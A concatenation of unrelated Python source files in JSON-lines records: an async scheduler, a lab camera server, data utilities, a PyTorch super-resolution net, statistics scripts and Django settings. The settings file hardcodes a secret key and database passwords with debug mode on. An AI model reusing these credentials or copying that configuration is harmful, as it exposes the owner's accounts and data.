List\nfrom typing import Set\n\nfrom senor_octopus.graph import Source\n\n_logger = logging.getLogger(__name__)\n\n\nasync def log_exceptions(run: Awaitable[None]) -> None:\n \"\"\"\n Manually handle exceptions.\n\n https://bugs.python.org/issue39839\n \"\"\"\n try:\n return await run\n except Exception:\n _logger.exception(\"Unhandled exception\")\n return None\n\n\nclass Scheduler:\n def __init__(self, dag: Set[Source]):\n self.dag = dag\n self.tasks: List[asyncio.Task] = []\n self.cancelled = False\n\n async def run(self) -> None:\n if not self.dag:\n _logger.info(\"Nothing to run\")\n return\n\n _logger.info(\"Starting scheduler\")\n loop = asyncio.get_event_loop()\n\n event_nodes = {node for node in self.dag if not node.schedule}\n for node in event_nodes:\n _logger.debug(\"Starting %s\", node.name)\n task = asyncio.create_task(log_exceptions(node.run()))\n self.tasks.append(task)\n\n schedule_nodes = {node for node in self.dag if node.schedule}\n schedules: Dict[str, float] = {}\n while not self.cancelled:\n for node in schedule_nodes:\n now = loop.time()\n delay = node.schedule.next(default_utc=False)\n when = now + delay\n\n if node.name in schedules and schedules[node.name] <= now:\n _logger.info(\"Running %s\", node.name)\n task = asyncio.create_task(log_exceptions(node.run()))\n self.tasks.append(task)\n del schedules[node.name]\n\n if node.name not in schedules:\n _logger.info(\"Scheduling %s to run in %d seconds\", node.name, delay)\n schedules[node.name] = when\n\n self.tasks = [task for task in self.tasks if not task.done()]\n\n sleep_time = min(schedules.values()) - now if schedules else 3600\n _logger.debug(\"Sleeping for %d seconds\", sleep_time)\n await asyncio.sleep(sleep_time)\n\n def cancel(self) -> None:\n for task in self.tasks:\n task.cancel()\n self.cancelled = True\n","sub_path":"src/senor_octopus/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"326322307","text":"#!/usr/bin/env python\n\"\"\"\nProsilica GigE CCD cameras.\nAuthor: Friedrich Schotte\nDate created: 2017-04-13\nDate last modified: 2018-10-30\n\nConfiguration:\n from DB import dbset\n dbset(\"GigE_camera.WideFieldCamera.camera.IP_addr\",\"pico3.niddk.nih.gov\")\n dbset(\"GigE_camera.MicroscopeCamera.camera.IP_addr\",\"pico14.niddk.nih.gov\")\n dbset(\"GigE_camera.WideFieldCamera.ip_address\",\"pico20.niddk.nih.gov:2001\")\n dbset(\"GigE_camera.MicroscopeCamera.ip_address\",\"pico20.niddk.nih.gov:2002\")\n\"\"\"\n__version__ = \"2.0.1\" # logging \n\nfrom logging import debug,info,warn,error\n\nfrom GigE_camera import GigE_camera\n\nclass Camera(GigE_camera):\n from persistent_property import persistent_property\n IP_addr = persistent_property(\"GigE_camera.{name}.camera.IP_addr\",\n \"pico3.niddk.nih.gov\")\n use_multicast = persistent_property(\"GigE_camera.{name}.use_multicast\",False)\n buffer_size = 10\n \n def __init__(self,name):\n GigE_camera.__init__(self)\n self.name = name\n self.filenames = {}\n\n def get_acquiring(self):\n return self.acquisition_started\n def set_acquiring(self,value):\n if value: self.start()\n else: self.stop()\n acquiring = property(get_acquiring,set_acquiring)\n \n def monitor(self):\n if self.auto_resume: self.resume()\n self.save_current_image()\n\n def acquire_sequence(self,framecounts,filenames):\n \"\"\"Save a series of images\"\"\"\n for framecount,filename in zip(framecounts,filenames):\n if not framecount in self.filenames:\n self.filenames[framecount] = []\n if not filename in self.filenames[framecount]:\n self.filenames[framecount] += [filename]\n\n def save_current_image(self):\n \"\"\"Check whether the last acquired image needs to be saved\n and save it.\"\"\"\n if len(self.filenames) > 0:\n frame_count = self.frame_count\n if frame_count in self.filenames:\n for filename in self.filenames[frame_count]:\n self.save_image(self.rgb_data,filename)\n del self.filenames[frame_count]\n\n def save_image(self,rgb_data,filename):\n from PIL import Image\n image = Image.new('RGB',(self.width,self.height))\n image.frombytes(rgb_data)\n image = self.rotated_image(image)\n from os import makedirs; from os.path import dirname,exists\n if not exists(dirname(filename)): makedirs(dirname(filename))\n info(\"Saving %r\" % filename)\n from thread import start_new_thread\n start_new_thread(image.save,(filename,))\n\n # in degrees counter-clockwise\n orientation = persistent_property(\"{name}.Orientation\",0)\n\n def rotated_image(self,image):\n \"\"\"image: PIL image object\"\"\"\n return image.rotate(self.orientation)\n \ncamera = Camera(\"MicroscopeCamera\")\nself = camera # for debugging\n\nfrom tcp_server_single_threaded import tcp_server\nserver = tcp_server(globals=globals(),locals=locals())\nserver.ip_address_and_port_db = \"GigE_camera.MicroscopeCamera.ip_address\"\nserver.idle_timeout = 1.0\n##server.idle_callbacks += [camera.monitor]\n##server.idle_callbacks += [camera.resume]\n##server.idle_callbacks += [camera.save_current_image]\n\ndef run(name):\n camera.name = name\n server.ip_address_and_port_db = \"GigE_camera.%s.ip_address\" % name\n server.run()\n\ndef set_defaults():\n from DB import dbset\n dbset(\"GigE_camera.WideFieldCamera.camera.IP_addr\",\"pico3.niddk.nih.gov\")\n dbset(\"GigE_camera.MicroscopeCamera.camera.IP_addr\",\"pico14.niddk.nih.gov\")\n dbset(\"GigE_camera.WideFieldCamera.ip_address\",\"pico20.niddk.nih.gov:2001\")\n dbset(\"GigE_camera.MicroscopeCamera.ip_address\",\"pico20.niddk.nih.gov:2002\")\n \n\nif __name__ == \"__main__\":\n from time import time # for timing\n import logging\n logging.basicConfig(level=logging.INFO,format=\"%(asctime)s %(levelname)s %(message)s\")\n from sys import argv\n if len(argv) > 1: run(argv[1])\n print('camera.acquiring = True')\n print('camera.monitor()')\n print('run(\"MicroscopeCamera\")')\n print('run(\"WideFieldCamera\")')\n","sub_path":"GigE_camera_server.py","file_name":"GigE_camera_server.py","file_ext":"py","file_size_in_byte":4131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"72562146","text":"import numpy as np\nimport pandas as pd\nimport copy\n\nfrom tfnn.datasets.shuffle import shuffle as data_sets_shuffle\nfrom tfnn.datasets.train_test_split import train_test_split as data_sets_train_test_split\nfrom tfnn.datasets.to_binary import BinaryEncoder\nfrom tfnn.datasets.sampled_batch import sampled_batch as data_sets_sampled_batch\nfrom tfnn.datasets.plot_feature_utility import plot_feature_utility as data_sets_plot_feature_utility\nfrom tfnn.datasets.next_batch import next_batch as data_sets_next_batch\n\n\nclass Data:\n def __init__(self, xs, ys, name=None):\n \"\"\"\n Input data sets.\n :param xs: data, shape(n_xs, n_samples), (pd.DataFrame)\n :param ys: labels, shape(n_ys, n_samples), (pd.DataFrame)\n \"\"\"\n if ('numpy' in type(xs).__module__) & ('numpy' in type(ys).__module__):\n xs = pd.DataFrame(xs)\n ys = pd.DataFrame(ys)\n elif ('pandas' in type(xs).__module__) & ('pandas' in type(ys).__module__):\n self.module = 'pandas'\n else:\n raise TypeError('data type must be numpy or pandas')\n if type(xs) is pd.core.series.Series:\n xs = xs.to_frame()\n if type(ys) is pd.core.series.Series:\n ys = ys.to_frame()\n self.xs = xs.copy() # shape (n_xs, n_samples)\n self.ys = ys.copy() # shape (n_ys, n_samples)\n self.n_samples = ys.shape[0]\n self.name = name\n\n def shuffle(self, inplace=False):\n result = data_sets_shuffle(self, inplace)\n if result is not None:\n return result\n\n def encode_cat_y(self, columns=None, inplace=False):\n \"\"\"\n 1-of-C dummy-coding the categorical target data.\n :param inplace: True of False\n :return:\n \"\"\"\n encoder = BinaryEncoder()\n result = encoder.encode_target(self, columns, inplace)\n if result is not None:\n return result\n\n def encode_cat_x(self, columns=None, inplace=False):\n \"\"\"\n 1-of-(C-1) effects-coding the categorical feature data.\n :features_name: If None, encode all features. Otherwise features_name should be given as an list,\n eg. ['featrue1','feature2'].\n :param inplace: True or False\n :return:\n \"\"\"\n encoder = BinaryEncoder()\n result = encoder.encode_data(self, columns, inplace)\n if result is not None:\n return result\n\n def sampled_batch(self, batch_size, replace=False, random_state=None):\n \"\"\"\n\n :param batch_size:\n :param replace: Allow replacements in sampled data\n :param random_state:\n :return:\n \"\"\"\n return data_sets_sampled_batch(self, batch_size, replace, random_state)\n\n def next_batch(self, batch_size, loop=False):\n return data_sets_next_batch(self, batch_size, loop)\n\n def plot_feature_utility(self, selected_feature_name, target_name=None):\n \"\"\"\n This function is to check the categorical feature utility for machine learning BEFORE BINARIZE.\n :param selected_feature_name:\n :param target_name:\n :return:\n \"\"\"\n data_sets_plot_feature_utility(self, selected_feature_name, target_name)\n\n def train_test_split(self, train_rate=0.7, randomly=True):\n t_data, v_data = data_sets_train_test_split(self, train_rate, randomly)\n return [t_data, v_data]\n\n def copy(self):\n return copy.deepcopy(self)\n\n\nif __name__ == \"__main__\":\n xs = pd.DataFrame({'a': ['a','d','f','f','a'],\n 'b': [1,2,3,4,5],\n 'c': ['f','m','m','f','f']})\n ys = pd.DataFrame({'answer': ['y','n','y','y','n']})\n # xs = np.arange(12).reshape((4,3))\n # ys = np.array(['y','n','y', 'y'])\n data = Data(xs, ys)\n train, test = data.train_test_split()\n print(test.xs)\n print(test.ys)","sub_path":"tfnn/datasets/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"393989261","text":"\"\"\"\r\nDjango settings for rbmo project.\r\n\r\nFor more information on this file, see\r\nhttps://docs.djangoproject.com/en/1.6/topics/settings/\r\n\r\nFor the full list of settings and their values, see\r\nhttps://docs.djangoproject.com/en/1.6/ref/settings/\r\n\"\"\"\r\n\r\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\r\nimport os\r\n\r\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\r\nTEMPLATE_PATH = os.path.join(BASE_DIR, 'templates')\r\nSTATIC_PATH = os.path.join(BASE_DIR, 'static')\r\n\r\n# Quick-start development settings - unsuitable for production\r\n# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/\r\n\r\n# SECURITY WARNING: keep the secret key used in production secret!\r\nSECRET_KEY = '*d#x#)e90lxef!jl^nk3#^rq2-#dksb91cuqtra%p2t4++tpc8'\r\n\r\n# SECURITY WARNING: don't run with debug turned on in production!\r\n#DEBUG = False\r\nDEBUG = True\r\n\r\nTEMPLATE_DEBUG = True\r\n\r\nSESSION_EXPIRE_AT_BROWSER_CLOSE=True\r\n\r\nADMINS = ('Jofel Bayron', 'bayron.jofel@gmail.com')\r\n\r\nALLOWED_HOSTS = ['byrenx.pythonanywhere.com']\r\n\r\n\r\n# Application definition\r\n\r\nINSTALLED_APPS = (\r\n 'django.contrib.admin',\r\n 'django.contrib.auth',\r\n 'django.contrib.contenttypes',\r\n 'django.contrib.sessions',\r\n 'django.contrib.messages',\r\n 'django.contrib.staticfiles',\r\n 'django.contrib.auth.hashers',\r\n 'django.contrib.humanize',\r\n 'rbmo',\r\n 'admin',\r\n 'fund',\r\n 'wfp',\r\n)\r\n\r\nMIDDLEWARE_CLASSES = (\r\n 'django.contrib.sessions.middleware.SessionMiddleware',\r\n 'django.middleware.common.CommonMiddleware',\r\n 'django.middleware.csrf.CsrfViewMiddleware',\r\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\r\n 'django.contrib.messages.middleware.MessageMiddleware',\r\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\r\n)\r\n\r\nROOT_URLCONF = 'rbmo.urls'\r\n\r\nWSGI_APPLICATION = 'rbmo.wsgi.application'\r\n\r\nTEMPLATE_DIRS = (TEMPLATE_PATH.replace('\\\\','/'),)\r\n# Database\r\n# https://docs.djangoproject.com/en/1.6/ref/settings/#databases\r\n\r\n#mysql settings \r\n\r\nDATABASES = {\r\n 'default': {\r\n 'ENGINE': 'django.db.backends.mysql',\r\n 'NAME': 'byrenx$rbmo', \r\n 'USER': 'root',\r\n 'PASSWORD': 'root',\r\n 'HOST': 'localhost',\r\n 'PORT': '3306', \r\n }\r\n}\r\n\r\n#pythonanywhere settings\r\n'''\r\nDATABASES = {\r\n 'default': { \r\n 'ENGINE': 'django.db.backends.mysql',\r\n 'NAME': 'byrenx$rbmo', \r\n # The following settings are not used with sqlite3:\r\n 'USER': 'byrenx',\r\n\r\n 'PASSWORD': 'byREnX++0789',\r\n 'HOST': 'mysql.server', \r\n 'PORT': '', \r\n }\r\n}\r\n'''\r\n\r\n#postgre sql settings\r\n'''\r\nDATABASES = {\r\n 'default': {\r\n \r\n 'ENGINE': 'django.db.backends.postgresql_psycopg2', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'.\r\n 'NAME': 'rbmo2', # Or path to database file if using sqlite3.\r\n # The following settings are not used with sqlite3:\r\n 'USER': 'postgres',\r\n #'PASSWORD': 'DEVELOPERS',\r\n 'PASSWORD': 'byrenx',\r\n 'HOST': 'localhost', # Empty for localhost through domain sockets or '127.0.0.1' for localhost through TCP.\r\n 'PORT': '5432', # Set to empty string for default.\r\n }\r\n}\r\n'''\r\n\r\n# Internationalization\r\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\r\n\r\nLANGUAGE_CODE = 'en-us'\r\n\r\nTIME_ZONE = 'UTC'\r\n\r\nUSE_I18N = True\r\n\r\nUSE_L10N = True\r\n\r\nUSE_TZ = True\r\n\r\n\r\nMEDIA_URL = '/media/'\r\n# Static files (CSS, JavaScript, Images)\r\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\r\n\r\nSTATIC_URL = '/static/'\r\n\r\n#STATIC_ROOT = os.path.join(BASE_DIR, 'static')\r\n\r\nSTATICFILES_DIRS = ( STATIC_PATH.replace('\\\\','/'),\r\n #'E:/Projects/pis_system/templates/static',\r\n # '/home/rasmer/PycharmProjects/pis_system/templates/static',\r\n)\r\n","sub_path":"rbmo/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"445401033","text":"import torch\nimport torch.nn as nn\nimport math\n\nfrom src.model.nets.base_net import BaseNet\n\n\nclass DRFNet(BaseNet):\n \"\"\"The implementation of the Deep Recurrent Feedback Network (DRFN) for the Video Super-Resolution.\n\n The architecture is mainly inspired by the Super-Resolution FeedBack Network (SRFBN) and has some modification.\n First, it's for the Video Super-Resolution.\n Second, the global residual skip connection concatenates the features before and after the feedback block.\n Last, the simple deconvolution is replaced by the PixelShuffle module as used in the EDSR (ref: https://arxiv.org/pdf/1707.02921.pdf).\n\n Args:\n in_channels (int): The input channels.\n out_channels (int): The output channels.\n num_features (int): The number of the internel feature maps.\n num_groups (int): The number of the projection groups in the feedback block.\n upscale_factor (int): The upscale factor (2, 3, 4 or 8).\n \"\"\"\n def __init__(self, in_channels, out_channels, num_features, num_groups, upscale_factor):\n super().__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.num_features = num_features\n self.num_groups = num_groups\n\n if upscale_factor not in [2, 3, 4, 8]:\n raise ValueError(f'The upscale factor should be 2, 3, 4 or 8. Got {upscale_factor}.')\n self.upscale_factor = upscale_factor\n\n self.in_block = _InBlock(in_channels, num_features) # The input block.\n self.f_block = _FBlock(num_features, num_groups, upscale_factor) # The feedback block.\n self.out_block = _OutBlock(num_features, out_channels, upscale_factor) # The output block.\n\n def forward(self, inputs):\n outputs = []\n for i, input in enumerate(inputs):\n in_features = self.in_block(input)\n if i == 0:\n self.f_block.hidden_state = in_features # Reset the hidden state of the feedback block.\n f_features = self.f_block(in_features)\n self.f_block.hidden_state = f_features # Set the hidden state of the feedback block to the current feedback block output.\n features = in_features + f_features # The global residual skip connection.\n output = self.out_block(features)\n outputs.append(output)\n return outputs\n\n\nclass _InBlock(nn.Sequential):\n def __init__(self, in_channels, out_channels):\n super().__init__()\n self.add_module('conv1', nn.Conv2d(in_channels, 4 * out_channels, kernel_size=3, padding=1))\n self.add_module('prelu1', nn.PReLU(num_parameters=1, init=0.2))\n self.add_module('conv2', nn.Conv2d(4 * out_channels, out_channels, kernel_size=1))\n self.add_module('prelu2', nn.PReLU(num_parameters=1, init=0.2))\n\n\nclass _FBlock(nn.Module):\n def __init__(self, num_features, num_groups, upscale_factor):\n super().__init__()\n self.in_block = nn.Sequential()\n self.in_block.add_module('conv', nn.Conv2d(num_features * 2, num_features, kernel_size=1))\n self.in_block.add_module('prelu', nn.PReLU(num_parameters=1, init=0.2))\n\n self.up_blocks = nn.ModuleList()\n self.down_blocks = nn.ModuleList()\n if upscale_factor == 2:\n kernel_size, stride, padding = 6, 2, 2\n elif upscale_factor == 3:\n kernel_size, stride, padding = 7, 3, 2\n elif upscale_factor == 4:\n kernel_size, stride, padding = 8, 4, 2\n elif upscale_factor == 8:\n kernel_size, stride, padding = 12, 8, 2\n for i in range(num_groups):\n if i == 0:\n up_block = nn.Sequential()\n up_block.add_module('deconv', nn.ConvTranspose2d(num_features, num_features, kernel_size=kernel_size, stride=stride, padding=padding))\n up_block.add_module('prelu', nn.PReLU(num_parameters=1, init=0.2))\n self.up_blocks.append(up_block)\n\n down_block = nn.Sequential()\n down_block.add_module('conv', nn.Conv2d(num_features, num_features, kernel_size=kernel_size, stride=stride, padding=padding))\n down_block.add_module('prelu', nn.PReLU(num_parameters=1, init=0.2))\n self.down_blocks.append(down_block)\n else:\n up_block = nn.Sequential()\n up_block.add_module('conv1', nn.Conv2d(num_features * (i + 1), num_features, kernel_size=1))\n up_block.add_module('prelu1', nn.PReLU(num_parameters=1, init=0.2))\n up_block.add_module('deconv2', nn.ConvTranspose2d(num_features, num_features, kernel_size=kernel_size, stride=stride, padding=padding))\n up_block.add_module('prelu2', nn.PReLU(num_parameters=1, init=0.2))\n self.up_blocks.append(up_block)\n\n down_block = nn.Sequential()\n down_block.add_module('conv1', nn.Conv2d(num_features * (i + 1), num_features, kernel_size=1))\n down_block.add_module('prelu1', nn.PReLU(num_parameters=1, init=0.2))\n down_block.add_module('conv2', nn.Conv2d(num_features, num_features, kernel_size=kernel_size, stride=stride, padding=padding))\n down_block.add_module('prelu2', nn.PReLU(num_parameters=1, init=0.2))\n self.down_blocks.append(down_block)\n\n self.out_block = nn.Sequential()\n self.out_block.add_module('conv', nn.Conv2d(num_features * num_groups, num_features, kernel_size=1))\n self.out_block.add_module('prelu', nn.PReLU(num_parameters=1, init=0.2))\n\n self._hidden_state = None\n\n @property\n def hidden_state(self):\n return self._hidden_state\n\n @hidden_state.setter\n def hidden_state(self, state):\n self._hidden_state = state\n\n def forward(self, input):\n features = torch.cat([input, self.hidden_state], dim=1)\n lr_features = self.in_block(features)\n\n lr_features_list, hr_features_list = [lr_features], []\n for up_block, down_block in zip(self.up_blocks, self.down_blocks):\n concat_lr_features = torch.cat(lr_features_list, dim=1)\n hr_features = up_block(concat_lr_features)\n hr_features_list.append(hr_features)\n concat_hr_features = torch.cat(hr_features_list, dim=1)\n lr_features = down_block(concat_hr_features)\n lr_features_list.append(lr_features)\n\n features = torch.cat(lr_features_list[1:], dim=1)\n output = self.out_block(features)\n return output\n\n\nclass _OutBlock(nn.Sequential):\n def __init__(self, in_channels, out_channels, upscale_factor):\n super().__init__()\n if (math.log(upscale_factor, 2) % 1) == 0:\n for i in range(int(math.log(upscale_factor, 2))):\n self.add_module(f'conv{i+1}', nn.Conv2d(in_channels, 4 * in_channels, kernel_size=3, padding=1))\n self.add_module(f'pixelshuffle{i+1}', nn.PixelShuffle(2))\n self.add_module(f'conv{i+2}', nn.Conv2d(in_channels, out_channels, kernel_size=3, padding=1))\n elif upscale_factor == 3:\n self.add_module('conv1', nn.Conv2d(in_channels, 9 * in_channels, kernel_size=3, padding=1))\n self.add_module('pixelshuffle1', nn.PixelShuffle(3))\n self.add_module('conv2', nn.Conv2d(in_channels, out_channels, kernel_size=3, padding=1))\n","sub_path":"src/model/nets/drf_net.py","file_name":"drf_net.py","file_ext":"py","file_size_in_byte":7368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"457231660","text":"#!/usr/bin/env python \n\n\"\"\"Os comentários em bloco ficam entre 3 aspas\n Assim é possível comentar em bloco\n A sintaxe usada acima: #!/usr/bin/env python é para indicar qual interpretador de Python o sistema deve usar. É específica do sistema Unix.\n Em Unix, um arquivo executável que começa com #! indica qual o interpretador deve ser utilizado. \n\"\"\"\n\n# com o import, explicitamos os módulos de Python que serão usados nesse programa \nimport os # esse módulo é usado para acessar funcionalidades do sistema opracional (em geral, oferece portabilidade, i.e, estabilidade entre os diferentes sistemas operacionais)\nimport sys # para interagir com o interpretador\nimport statistics, math #bibliotecas usadas para o calculo de medias e desvio padrao populacional e amostral\n# bibliotecas para fazer histograma\nimport matplotlib.pyplot as plt # matplotlib é uma biblioteca de python para produzir figuras. pyplot é um módulo (arquivo contendo definições de funções e outros) do matplotlib que produz gráficos, histogramas, etc, no estilo MATLAB.\nimport numpy as np\nfrom matplotlib import colors\n\nfigsize = (12,8)\n\ndef main(arguments):\n \n # Nome do arquivo de entrada\n #input_file = '/Users/helenamalbouisson/cernbox/Work/UERJ/Aulas/PYTHON/FisicaGeral_2017-2_2018-1/PythonLecture/Examples/dados_alunos.txt'\n input_file = '../Examples/dados_alunos.txt'\n \n # Abre o arquivo de entrada no modo de leitura\n ifile = open(input_file, 'r')\n \n # Percorre o arquivo de entrada linha por linha e \n # salva cada coluna do arquivo em listas\n idade = []\n altura = []\n massa = []\n for line in ifile:\n columns = line.split()\n idade.append(eval(columns[0]))\n altura.append(eval(columns[1]))\n massa.append(eval(columns[2]))\n\n # calcula a média de cada uma das colunas do arquivo de entrada:\n # idade, altura e massa:\n print ( 'média idade (1) = ', media(idade) ) \n print ( 'média idade (2) = ', statistics.mean(idade), '\\n')\n \n print ( 'desvio padrão idade (1) = ', sstddev(idade) ) \n print ( 'desvio padrão idade (2) = ', statistics.stdev(idade) ) \n print ( 'desvio padrão idade (3) = ', statistics.pstdev(idade), '\\n')\n \n print ( 'média altura (1) = ', media(altura) ) \n print ( 'média altura (2) = ', statistics.mean(altura), '\\n')\n \n print ( 'média massa (1) = ', media(massa) ) \n print ( 'média massa (2) = ', statistics.mean(massa), '\\n')\n \n # histogramas\n fig, axs = plt.subplots( 1, 3, figsize=figsize ) # cria uma figura com três histogramas\n \n # define a classe de frequência, título dos eixos e do histograma na posição 0\n axs[0].hist(idade, bins=30, range=(16,46), color='red')\n axs[0].set_title('idade')\n axs[0].set_xlabel('idade (anos)')\n axs[0].set_ylabel('frequencia/ano')\n\n # define a classe de frequência, título dos eixos e do histograma na posição 1\n axs[1].hist(altura, bins=8, range=(1.6,2.0), color='green')\n axs[1].set_title('altura')\n axs[1].set_xlabel('altura (m)')\n axs[1].set_ylabel('frequencia/0.05 m')\n\n # define a classe de frequência, título dos eixos e do histograma na posição 2\n axs[2].hist(massa, bins=8, range=(40,120), color='grey')\n axs[2].set_title('massa')\n axs[2].set_xlabel('massa (Kg)')\n axs[2].set_ylabel('frequencia/10 Kg')\n\n plt.show()\n\n #plot_hist(idade, 30, (16,46), 'red')\n #plot_hist(altura, 40, (1.6,2.0), 'green')\n #plot_hist(massa, 80, (40, 120), 'grey')\n\n return 0\n\ndef media(input_list):\n # essa funcao calcula a media dos itens da lista input_list\n ##sum_num = 0\n ##for i in input_list:\n ##sum_num = sum_num + i\n #return sum_num/len(input_list)\n return sum(input_list)/len(input_list)\n\n\ndef sstddev(input_list):\n # cacula o desvio padrão amostral\n # usa a biblioteca statistics do python\n # https://docs.python.org/3/library/statistics.html\n \n N = len(input_list)\n m = statistics.mean(input_list)\n variance = 0\n for i in input_list:\n variance = variance + pow((i - m), 2)\n \n variance = variance/N\n sample_stddev = math.sqrt((N/(N - 1))*variance)\n\n return sample_stddev\n\ndef plot_hist(input_list, n_bins, hist_range, cor):\n # essa função pega como input uma lista \n # e faz um histograma usando bibliotecas do\n # matplotlib: https://matplotlib.org/api/_as_gen/matplotlib.pyplot.hist.html\n # outras opções de módulos que tb fazem histogramas são:\n # plotly, rootpy.\n\n fig, ax = plt.subplots()\n ax.hist( input_list, bins=n_bins, range=hist_range, color=cor )\n plt.show()\n\nif __name__ == '__main__':\n sys.exit( main( sys.argv[1:] ) )\n\n\n","sub_path":"Examples/pyscript.py","file_name":"pyscript.py","file_ext":"py","file_size_in_byte":4698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"172830442","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n验证码识别\n1.0纯字母数字识别\n\"\"\"\n\n__author__ = 'katherinelove'\n\nimport tesserocr\nfrom PIL import Image\n\nif __name__ == '__main__':\n img=Image.open('D:\\GoogleDown\\Code.jpg')\n # img.show()\n # text=tesserocr.image_to_text(img)\n # 直接识别效果太差 灰度-二值化\n img=img.convert('L')\n # img.convert('1')\n # img.show()\n\n threshold=127 #阈值\n table=[]\n for i in range(256):\n if i low_exp_cutoff]\nif cv_cutoff:\n cv = exp_pd.std(axis=1) / exp_pd.mean(axis=1)\n print(cv.describe())\n exp_pd = exp_pd[cv > cv_cutoff]\n\n\n\nif exp_pd.shape[0] == 0:\n exit(\"oh, NO! All genes are filtered\")\nfinal_genes = exp_pd.index\nignored_genes = set(initial_genes) - set(final_genes)\nwith open('ignored_gene.list', 'w') as f:\n f.write('# {}/{}\\n'.format(len(final_genes), len(initial_genes)))\n for each in ignored_genes:\n f.write(each + '\\n')\nexp_pd.to_csv('exp_matrix_after_filtering.txt', sep='\\t', index=True, header=True)\n\n# cluster sample using python\n# z = hclust.linkage(exp_pd.transpose(), method=\"average\", metric=\"euclidean\")\n# min_h = min(z[:, 2])\n# dendrogram = sch.dendrogram(z, labels=exp_pd.columns, distance_sort='ascending')\n# with open('dendrogram.json', 'w') as f:\n# json.dump(dendrogram, f)\n# with open('dendrogram.json', 'a+') as f:\n# f.write(\"\\n{}\\n\".format(min_h))\n\n\n# pick power and cluster sample\nr_cmd1 = [\n \"library('WGCNA')\",\n \"enableWGCNAThreads()\",\n \"exp_matrix = read.table('exp_matrix_after_filtering.txt', header=T, row.names=1, sep='\\\\t')\",\n \"datExpr = as.data.frame(exp_matrix)\",\n \"datExpr = t(datExpr)\",\n]\n\n# cluster sample using R\nr_cmd1.append(\n\"\"\"\nsampleTree = hclust(dist(datExpr, method = \"euclidean\"), method = \"average\");\npdf(file = \"sampleClustering.pdf\", width = 12, height = 9);\npar(cex = 0.6);\npar(mar = c(0,4,2,0))\nplot(sampleTree, main = \"Sample clustering to detect outliers\", sub=\"\", xlab=\"\", cex.lab = 1.5, cex.axis = 1.5, cex.main = 2)\ndev.off()\nlinkage = cbind(sampleTree$merge, sampleTree$height)\nwrite.table(linkage, 'sample.cluster.dendrogram.txt', col.names=F, quote=F, sep='\\\\t', row.names=F)\nwrite.table(sampleTree$order, 'sample.cluster.dendrogram.order.txt', col.names=F, quote=F, sep='\\\\t', row.names=F)\nwrite.table(sampleTree$labels[sampleTree$order], 'sample.cluster.dendrogram.labels.txt', col.names=F, quote=F, sep='\\\\t', row.names=F)\n\"\"\")\n\nr_cmd2 = [\"\"\"\n# calculate powers\npowers = c(c(1:10), seq(from = 12, to=20, by=2))\n# Call the network topology analysis function\nsft = pickSoftThreshold(datExpr, powerVector = powers, verbose = 5)\ntarget_power = sft$powerEstimate\ncutoff = sft$fitIndices[target_power, 2]\n# save result\nwrite.table(sft$fitIndices, 'scale_free_analysis.xls', sep='\\\\t', quote=F, col.names=T, row.names=F)\nwrite.table(cutoff, paste('powerEstimate_', target_power, sep=''), row.names=F, col.names=F)\n\n# Plot the results:\npdf(file='pick_power.pdf', width = 9, height = 5)\npar(mfrow = c(1,2));\ncex1 = 0.9;\n# Scale-free topology fit index as a function of the soft-thresholding power\nplot(sft$fitIndices[,1], -sign(sft$fitIndices[,3])*sft$fitIndices[,2],\n xlab=\"Soft Threshold (power)\",ylab=\"Scale Free Topology Model Fit,signed R^2\",type=\"n\",\n main = paste(\"Scale independence\"));\ntext(sft$fitIndices[,1], -sign(sft$fitIndices[,3])*sft$fitIndices[,2],\n labels=powers,cex=cex1,col=\"red\");\n# this line corresponds to using an R^2 cut-off of h\nabline(h=cutoff, col=\"green\")\n# Mean connectivity as a function of the soft-thresholding power\nplot(sft$fitIndices[,1], sft$fitIndices[,5],\n xlab=\"Soft Threshold (power)\",ylab=\"Mean Connectivity\", type=\"n\",\n main = paste(\"Mean connectivity\"))\ntext(sft$fitIndices[,1], sft$fitIndices[,5], labels=powers, cex=cex1,col=\"red\")\ndev.off()\n\"\"\"]\n\nfinal_cmd = \"\\n\".join(r_cmd1 + r_cmd2)\nwith open('wgcna.r', 'w') as f:\n f.write(final_cmd)\nsubprocess.check_call(\"Rscript wgcna.r\", shell=True)\n\n","sub_path":"wgcna_prepare.py","file_name":"wgcna_prepare.py","file_ext":"py","file_size_in_byte":4872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"345382758","text":"\"\"\"\n4. Пользователь вводит целое положительное число.\nНайдите самую большую цифру в числе.\nДля решения используйте цикл while и арифметические операции.\n\"\"\"\n# Первый вариант с использованием строки\nnumber = (input('Введите целое положительное число: \\n'))\n\ni = 0\nresult = number[i + 1]\nwhile i < len(number):\n if number[i] > result:\n result = number[i]\n elif number[i] < result:\n result = result\n i += 1\n\nprint(result)\n\n# Второй вариант с использованием целого числа\nnumber = int(input('Введите целое положительное число: \\n'))\n\nnumber = str(number)\nlong_numbers = len(number)\nnumber = int(number)\n\ni = 0\ncheck = 0\nwhile i < long_numbers:\n i += 1\n number_1 = number // (10**(long_numbers - i))\n if number_1 <= check:\n check = check\n else:\n check = number_1\n # print(number, long_numbers, number_1) Использовал для проверки\n number = number - (number_1 * (10 ** (long_numbers - 